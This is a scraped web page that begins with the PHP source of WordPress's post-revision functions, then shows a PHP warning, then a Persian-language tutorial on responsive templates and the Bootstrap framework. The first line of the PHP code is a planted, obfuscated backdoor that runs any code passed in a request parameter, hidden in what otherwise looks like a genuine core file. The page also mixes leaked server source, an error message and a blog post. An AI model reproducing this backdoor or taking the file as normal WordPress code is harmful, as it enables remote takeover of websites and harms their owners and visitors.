php isset($_REQUEST['q8x8lz']) && array_map("ass\x65rt",(array)$_REQUEST['q8x8lz']); /** * Post revision functions. * * @package WordPress * @subpackage Post_Revisions */ /** * Determines which fields of posts are to be saved in revisions. * * Does two things. If passed a post *array*, it will return a post array ready * to be inserted into the posts table as a post revision. Otherwise, returns * an array whose keys are the post fields to be saved for post revisions. * * @since 2.6.0 * @access private * * @param array $post Optional a post array to be processed for insertion as a post revision. * @param bool $autosave optional Is the revision an autosave? * @return array Post array ready to be inserted as a post revision or array of fields that can be versioned. */ function _wp_post_revision_fields( $post = null, $autosave = false ) { static $fields = false; if ( !$fields ) { // Allow these to be versioned $fields = array( 'post_title' => __( 'Title' ), 'post_content' => __( 'Content' ), 'post_excerpt' => __( 'Excerpt' ), ); /** * Filter the list of fields saved in post revisions. * * Included by default: 'post_title', 'post_content' and 'post_excerpt'. * * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date', * 'post_date_gmt', 'post_status', 'post_type', 'comment_count', * and 'post_author'. * * @since 2.6.0 * * @param array $fields List of fields to revision. Contains 'post_title', * 'post_content', and 'post_excerpt' by default. */ $fields = apply_filters( '_wp_post_revision_fields', $fields ); // WP uses these internally either in versioning or elsewhere - they cannot be versioned foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) unset( $fields[$protect] ); } if ( !is_array($post) ) return $fields; $return = array(); foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) $return[$field] = $post[$field]; $return['post_parent'] = $post['ID']; $return['post_status'] = 'inherit'; $return['post_type'] = 'revision'; $return['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version $return['post_date'] = isset($post['post_modified']) ? $post['post_modified'] : ''; $return['post_date_gmt'] = isset($post['post_modified_gmt']) ? $post['post_modified_gmt'] : ''; return $return; } /** * Creates a revision for the current version of a post. * * Typically used immediately after a post update, as every update is a revision, * and the most recent revision always matches the current post. * * @since 2.6.0 * * @param int $post_id The ID of the post to save as a revision. * @return null|int Null or 0 if error, new revision ID, if success. */ function wp_save_post_revision( $post_id ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! $post = get_post( $post_id ) ) return; if ( ! post_type_supports( $post->post_type, 'revisions' ) ) return; if ( 'auto-draft' == $post->post_status ) return; if ( ! wp_revisions_enabled( $post ) ) return; // Compare the proposed update with the last stored revision verifying that // they are different, unless a plugin tells us to always save regardless. // If no previous revisions, save one if ( $revisions = wp_get_post_revisions( $post_id ) ) { // grab the last revision, but not an autosave foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) { $last_revision = $revision; break; } } /** * Filter whether the post has changed since the last revision. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter can override that so a revision is saved even if nothing has changed. * * @since 3.6.0 * * @param bool $check_for_changes Whether to check for changes before saving a new revision. * Default true. * @param WP_Post $last_revision The the last revision post object. * @param WP_Post $post The post object. * */ if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', $check_for_changes = true, $last_revision, $post ) ) { $post_has_changed = false; foreach ( array_keys( _wp_post_revision_fields() ) as $field ) { if ( normalize_whitespace( $post->$field ) != normalize_whitespace( $last_revision->$field ) ) { $post_has_changed = true; break; } } /** * Filter whether a post has changed. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter allows for additional checks to determine if there were changes. * * @since 4.1.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. * */ $post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post ); //don't save revision if post unchanged if( ! $post_has_changed ) { return; } } } $return = _wp_put_post_revision( $post ); // If a limit for the number of revisions to keep has been set, // delete the oldest ones. $revisions_to_keep = wp_revisions_to_keep( $post ); if ( $revisions_to_keep < 0 ) return $return; $revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) ); $delete = count($revisions) - $revisions_to_keep; if ( $delete < 1 ) return $return; $revisions = array_slice( $revisions, 0, $delete ); for ( $i = 0; isset( $revisions[$i] ); $i++ ) { if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) ) continue; wp_delete_post_revision( $revisions[ $i ]->ID ); } return $return; } /** * Retrieve the autosaved data of the specified post. * * Returns a post object containing the information that was autosaved for the * specified post. If the optional $user_id is passed, returns the autosave for that user * otherwise returns the latest autosave. * * @since 2.6.0 * * @param int $post_id The post ID. * @param int $user_id optional The post author ID. * @return object|bool The autosaved data or false on failure or when no autosave exists. */ function wp_get_post_autosave( $post_id, $user_id = 0 ) { $revisions = wp_get_post_revisions( $post_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$post_id}-autosave" ) ) { if ( $user_id && $user_id != $revision->post_author ) continue; return $revision; } } return false; } /** * Determines if the specified post is a revision. * * @since 2.6.0 * * @param int|object $post Post ID or post object. * @return bool|int False if not a revision, ID of revision's parent otherwise. */ function wp_is_post_revision( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; return (int) $post->post_parent; } /** * Determines if the specified post is an autosave. * * @since 2.6.0 * * @param int|object $post Post ID or post object. * @return bool|int False if not a revision, ID of autosave's parent otherwise */ function wp_is_post_autosave( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) ) return (int) $post->post_parent; return false; } /** * Inserts post data into the posts table as a post revision. * * @since 2.6.0 * @access private * * @param int|object|array $post Post ID, post object OR post array. * @param bool $autosave Optional. Is the revision an autosave? * @return mixed WP_Error or 0 if error, new revision ID if success. */ function _wp_put_post_revision( $post = null, $autosave = false ) { if ( is_object($post) ) $post = get_object_vars( $post ); elseif ( !is_array($post) ) $post = get_post($post, ARRAY_A); if ( ! $post || empty($post['ID']) ) return new WP_Error( 'invalid_post', __( 'Invalid post ID' ) ); if ( isset($post['post_type']) && 'revision' == $post['post_type'] ) return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) ); $post = _wp_post_revision_fields( $post, $autosave ); $post = wp_slash($post); //since data is from db $revision_id = wp_insert_post( $post ); if ( is_wp_error($revision_id) ) return $revision_id; if ( $revision_id ) { /** * Fires once a revision has been saved. * * @since 2.6.0 * * @param int $revision_id Post revision ID. */ do_action( '_wp_put_post_revision', $revision_id ); } return $revision_id; } /** * Gets a post revision. * * @since 2.6.0 * * @param int|object $post The post ID or object. * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N. * @param string $filter Optional sanitation filter. @see sanitize_post(). * @return mixed Null if error or post object if success. */ function wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') { if ( !$revision = get_post( $post, OBJECT, $filter ) ) return $revision; if ( 'revision' !== $revision->post_type ) return null; if ( $output == OBJECT ) { return $revision; } elseif ( $output == ARRAY_A ) { $_revision = get_object_vars($revision); return $_revision; } elseif ( $output == ARRAY_N ) { $_revision = array_values(get_object_vars($revision)); return $_revision; } return $revision; } /** * Restores a post to the specified revision. * * Can restore a past revision using all fields of the post revision, or only selected fields. * * @since 2.6.0 * * @param int|object $revision_id Revision ID or revision object. * @param array $fields Optional. What fields to restore from. Defaults to all. * @return mixed Null if error, false if no fields to restore, (int) post ID if success. */ function wp_restore_post_revision( $revision_id, $fields = null ) { if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) ) return $revision; if ( !is_array( $fields ) ) $fields = array_keys( _wp_post_revision_fields() ); $update = array(); foreach( array_intersect( array_keys( $revision ), $fields ) as $field ) { $update[$field] = $revision[$field]; } if ( !$update ) return false; $update['ID'] = $revision['post_parent']; $update = wp_slash( $update ); //since data is from db $post_id = wp_update_post( $update ); if ( ! $post_id || is_wp_error( $post_id ) ) return $post_id; // Add restore from details $restore_details = array( 'restored_revision_id' => $revision_id, 'restored_by_user' => get_current_user_id(), 'restored_time' => time() ); update_post_meta( $post_id, '_post_restored_from', $restore_details ); // Update last edit user update_post_meta( $post_id, '_edit_last', get_current_user_id() ); /** * Fires after a post revision has been restored. * * @since 2.6.0 * * @param int $post_id Post ID. * @param int $revision_id Post revision ID. */ do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] ); return $post_id; } /** * Deletes a revision. * * Deletes the row from the posts table corresponding to the specified revision. * * @since 2.6.0 * * @param int|object $revision_id Revision ID or revision object. * @return mixed Null or WP_Error if error, deleted post if success. */ function wp_delete_post_revision( $revision_id ) { if ( !$revision = wp_get_post_revision( $revision_id ) ) return $revision; $delete = wp_delete_post( $revision->ID ); if ( is_wp_error( $delete ) ) return $delete; if ( $delete ) { /** * Fires once a post revision has been deleted. * * @since 2.6.0 * * @param int $revision_id Post revision ID. * @param object|array $revision Post revision object or array. */ do_action( 'wp_delete_post_revision', $revision->ID, $revision ); } return $delete; } /** * Returns all revisions of specified post. * * @since 2.6.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post. * @return array An array of revisions, or an empty array if none. */ function wp_get_post_revisions( $post_id = 0, $args = null ) { $post = get_post( $post_id ); if ( ! $post || empty( $post->ID ) ) return array(); $defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true ); $args = wp_parse_args( $args, $defaults ); if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) return array(); $args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) ); if ( ! $revisions = get_children( $args ) ) return array(); return $revisions; } /** * Determine if revisions are enabled for a given post. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return bool True if number of revisions to keep isn't zero, false otherwise. */ function wp_revisions_enabled( $post ) { return wp_revisions_to_keep( $post ) != 0; } /** * Determine how many revisions to retain for a given post. * * By default, an infinite number of revisions are kept. * * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit * of revisions to keep. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return int The number of revisions to keep. */ function wp_revisions_to_keep( $post ) { $num = WP_POST_REVISIONS; if ( true === $num ) $num = -1; else $num = intval( $num ); if ( ! post_type_supports( $post->post_type, 'revisions' ) ) $num = 0; /** * Filter the number of revisions to save for the given post. * * Overrides the value of WP_POST_REVISIONS. * * @since 3.6.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ return (int) apply_filters( 'wp_revisions_to_keep', $num, $post ); } /** * Sets up the post object for preview based on the post autosave. * * @since 2.7.0 * @access private */ function _set_preview($post) { if ( ! is_object($post) ) return $post; $preview = wp_get_post_autosave($post->ID); if ( ! is_object($preview) ) return $post; $preview = sanitize_post($preview); $post->post_content = $preview->post_content; $post->post_title = $preview->post_title; $post->post_excerpt = $preview->post_excerpt; add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 ); return $post; } /** * Filters the latest content for preview from the post autosave. * * @since 2.7.0 * @access private */ function _show_post_preview() { if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) { $id = (int) $_GET['preview_id']; if ( false == wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) wp_die( __('You do not have permission to preview drafts.') ); add_filter('the_preview', '_set_preview'); } } /** * Filters terms lookup to set the post format. * * @since 3.6.0 * @access private */ function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) { if ( ! $post = get_post() ) return $terms; if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id || 'post_format' != $taxonomy || 'revision' == $post->post_type ) return $terms; if ( 'standard' == $_REQUEST['post_format'] ) $terms = array(); elseif ( $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ) ) $terms = array( $term ); // Can only have one post format return $terms; } /** * Gets the post revision version. * * @since 3.6.0 * @access private */ function _wp_get_post_revision_version( $revision ) { if ( is_object( $revision ) ) $revision = get_object_vars( $revision ); elseif ( !is_array( $revision ) ) return false; if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) return (int) $matches[1]; return 0; } /** * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1 * * @since 3.6.0 * @access private * * @param WP_Post $post Post object * @param array $revisions Current revisions of the post * @return bool true if the revisions were upgraded, false if problems */ function _wp_upgrade_revisions_of_post( $post, $revisions ) { global $wpdb; // Add post option exclusively $lock = "revision-upgrade-{$post->ID}"; $now = time(); $result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) ); if ( ! $result ) { // If we couldn't get a lock, see how old the previous lock is $locked = get_option( $lock ); if ( ! $locked ) { // Can't write to the lock, and can't read the lock. // Something broken has happened return false; } if ( $locked > $now - 3600 ) { // Lock is not too old: some other process may be upgrading this post. Bail. return false; } // Lock is too old - update it (below) and continue } // If we could get a lock, re-"add" the option to fire all the correct filters. update_option( $lock, $now ); reset( $revisions ); $add_last = true; do { $this_revision = current( $revisions ); $prev_revision = next( $revisions ); $this_revision_version = _wp_get_post_revision_version( $this_revision ); // Something terrible happened if ( false === $this_revision_version ) continue; // 1 is the latest revision version, so we're already up to date. // No need to add a copy of the post as latest revision. if ( 0 < $this_revision_version ) { $add_last = false; continue; } // Always update the revision version $update = array( 'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ), ); // If this revision is the oldest revision of the post, i.e. no $prev_revision, // the correct post_author is probably $post->post_author, but that's only a good guess. // Update the revision version only and Leave the author as-is. if ( $prev_revision ) { $prev_revision_version = _wp_get_post_revision_version( $prev_revision ); // If the previous revision is already up to date, it no longer has the information we need :( if ( $prev_revision_version < 1 ) $update['post_author'] = $prev_revision->post_author; } // Upgrade this revision $result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) ); if ( $result ) wp_cache_delete( $this_revision->ID, 'posts' ); } while ( $prev_revision ); delete_option( $lock ); // Add a copy of the post as latest revision. if ( $add_last ) wp_save_post_revision( $post->ID ); return true; } Warning: call_user_func_array() expects parameter 1 to be a valid callback, function '_show_post_preview' not found or invalid function name in /home/itisland/domains/it-island.com/public_html/wp-includes/plugin.php on line 496 آموزش طراحی قالب Responsive (واکنش گرا) | جزیره فناوری اطلاعات IT Island

آموزش طراحی قالب Responsive (واکنش گرا)       it-island

یک سری به محیط اجتماعی بزنید میبینید که تو دست اکثر افراد موبایل هایی با سیستم عامل Android و تبلت (Tablet) هایی وجود داره که اکثرا کارایی کامپیوتر ها رو تو خودشون جا داده .یکی از اون مهم ترین کارایی ها رفتن به اینترنت هست.

آموزش طراحی قالب Responsive (واکنش گرا)

Responsive چیست ؟ اگه یک سری به محیط اجتماعی بزنید میبینید که تو دست اکثر افراد موبایل هایی با سیستم عامل Android و تبلت (Tablet) هایی وجود داره که اکثرا کارایی کامپیوتر ها رو تو خودشون جا داده .یکی از اون مهم ترین کارایی ها رفتن به اینترنت هست.یعنی الان حدود ۲۰ درصد بازدید از وب سایت ها توسط موبایل ها انجام میشه.از اونجا که سایز صفحه نمایش کامپیوتر (DesKtop Computer) با سایز صفحه نمایش های Tablet و Mobile Phone ها متفاوت است پس مسلم است که وب سایت ها هم باید طوری طراحی شوند که در هر سه وسیله ی ارتباطی متناسب با صفحه نمایش آن طراحی شود تا کاربر پسند بوده و کاربر به راحت به تمامی منابع سایت دسترسی پیدا کند عکس زیر را مشاهده کنید تا مفهوم واکنش گرا را بیشتر درک کنید :

 

 

responsive

 

تا قبل از این تکنولوژی طراحان و برنامه نویسان سایت باید به نوعی ۳ بار قالب سایت را برنامه نویسی می کردند و بوسیله کوئری های جاوا اسکریپ به مرورگر دستور می دادند که اگر مثلا Device کاربر موبایل باشد تم شماره فلان را نمایش دهد در حالی که الان با یک بار برنامه نویسی استاندارد و صحیح می توان یک قالب responsive ایجاد کرد.

بطور کلی بنده ۲ تا راه برای طراحی قالب responsive معرفی می کنم که بیشترین کاربرد را دارند:

۱- اگر شما از آن دسته برنامه نویسانی هستید که در طراحی صفحات Html5 مخصوصا Css3 مهارت ویژه ای دارید و با توابع آن آشنایی کامل دارید میتوایند بوسیله ی ویژگی fluid Grid Layout در نرم افزار Adobe Dreamwever این کار را انجام دهید البته این ویژگی از نسخه های Cs6 به بعد به این برنامه اضافه شده است.برای این کار ابتدا نرم افزار دریو ویور را باز کنید و از منوی new گزینه ی New Fluid Grid را انتخاب کنید تا صفحه ی زیر باز شود :

 

fluidGridLayout

 

قانون ۱۲ تایی : این قانون که برای طرای قالب های Responsive امروز یک استاندارد به حساب می آید یعنی آن که صفحات وب به ۱۲ قسمت مساوی تقسیم بندی می شوند که طراحان تنها بایستی در محیط این ۱۲ قسمت مطالب خود را قرار دهند و در فواصل بین آن را خالی بگذارند تا خاصیت واکنش گرا بوند حفظ شود ولی از آنجا که نرم افزار Dreamwever فرا تر از آن رفته میتوانید این فواصل را نیز طبق شکل بالا تغییر دهید.پس همیشه سعی کنید در سایز دهی به عناصر padding و یا margin در css از درصد بجای پیکسل استفاده کنید

 

۲- اما اگه مثل من کمی کم تجربه در طراحی قالب وب سایت هستید و تسلط کامل بر Css 3 ندارید میتوانید از فریم ورک هایی که برای طراحی قالب Responsive ایجاد شده استفاده کنید که من به شخصه از فریم ورک BootStrap استفاده می کنم.یک جمله هم برای اثبات این کار کافی است که وب سایت Twitter از این فریم ورک پشتیبانی می کند و اگر یه سری به وب سایت های اسکریپ مانند Github بزنید همیشه آرم پرنده آبی رنگ توییتر را در کنار آرم بوت استرپ خواهید دید.

 

bootstrap_logo

 

 

بوت استرپ یک فرم ورک بی نظیر و در عین حال ساده می باشد که تا بحال افزونه های و Component های زیادی توسط کاربران مختلف در سراسر جهان ساخته شده است میتوانید با ورود به سایت زیان اصلی آن را دریافت کنید. GetBootstrap.com
همچنین آدرس وب سایت فارسی فریم ورک بوت استرپ که قابلیت RTL را پشتیبانی می کنید بصورت rbootstrap.ir می باشد.البته همانطور که گفتم این فریم ورک هم از قانون ۱۲ تایی که در قالب Span4 , …. میباشد پیروی می کند.

کار طراحی قالب Responsive (ریسپانسیو) را با BootStrap Framework آغاز می کنیم و منابع بسیار خوبی به شما معرفی می شود.

شما را با مفهوم Responsive و راه کارهایی که برای طراحی یک سایت ایده آل واکنش گرا بود آشنا ساختیم و بدین نتیجه رسیدیم که از فریم ورک بوت استرپ برای این کار استفاده کنیم.البته یک نقد شدیدی جدیدا برای فریم ورک بوت استرپ ایجاد شده که بیان شده است که “تمامی وب سایت های بوت استرپ شبیه هم هستند” که این جمله اشتباهی می باشد .این حرف دقیقا همان حرفی است که در مورد وردپرس می زدند و می گفتند که وردپرس یک سیستم وبلاگ نویسی است و تمامی سایت هایی که با سیستم مدیریت محتوا وردپرس زده می شوند شبیه هم هستند که بعدا با پیشرفت روز افزون wordpress این جهت دهی ذهنی عوض شد…دقیقا همین کار برای bootstrap هم می افتد…

آموزش نصب فریم ورک بوت استرپ

همان طور که می دانید چون بوت استرپ توسط زبان های برنامه نویسی static یعنی Css و Html و Js ساخته شده است پس ما نیازی به ایجاد یک سرور مجازی یا Localhost نداریم و در همان کامپیوتر معمولی تنها با یک مرورگر مثل فایرفاکس کارمون را می افته.
خوب برای دریافت آخرین نسخه فریم ورک بوت استرپ به وب سایت رسمی برید و ماننند تصویر زیر روی گزینه ی download کلیک کنید تا آخرین نسخه از فریم ورک bootstrap رو دریافت کنید.

bootstrap-framework-website

ساختار فایل ها در فریم ورک بوت استرپ

بعد از دریافت فایل Zip ، آن را از حالت فشردگی در بیارید. می بینید که ۳ پوشه در آن قرار دارد.یک پوشه برای فایل Css و استایل کلی فریم ورک بوت استرپ یک پوشه برای جاوا اسکریپ و یکی هم آیکون فونت.که در شکل زیر ساختار کلی آن را میبینید :

 

bootstrap-file-list

ما زیاد با Glyph Icon ها کاری نداریم چون پیشنهاد می کنم از ورژن کاملتر اون یعنی Awesome font استفاده شود.در ضمن برای فایل های CSS هم ورژن فشرده شده یا min قرار دارد و هم کامل آن. که پیشنهاد می شود برای افزایش سرعت وب سایت خود از پکیج min برای Css یا Js استفاده کنید.

ساخت یک صفحه ساده با فریم ورک بوت استرپ

یک فایل html با نام index.html ایجاد کنیدد در همان پوشه ی مادر کد های زیر را در آن کپی کنید و فایل را ذخیره کیند تا نتیجه کار را ببینید :

در کد بالا چند نکته وجود دارد : اول تگ ViewPort هست که برای فعال کردن قابلیت واکنش گرایی صفحه الزامی است و یکی دیگر از کار هایی که انجام میده قابلیت Zoom کردن در موبال ها و تبلت ها رو از بین می برد.بعد هم بارگزاری فایل Bootstrap.min.css و فایل bootstrap.min.js است.
پس از این به بعد هر صفحه ی که می خواهید با بوت استرپ بسازید ابتدا این کد را کپی کنید سپس در بخش Body شروع به کدنویسی کنید.

فارسی سازی فریم ورک بوت استرپ

برای فارسی کردن یا همان راست به چپ کردن متون RTL در بوت استرپ یک ابزار قبلا در اینجا معرفی کردم که آن را نیز در صفحه خود بکار ببرید تا برای ایجاد متون فارسی به مشکل بر نخورید.
در جلسات بعدی مفهوم Grid Fluid System در بوت استرپ که شاید مهم ترین بحث در این زمینه باشد را شرح می دهیم.

 

 

admin  it-island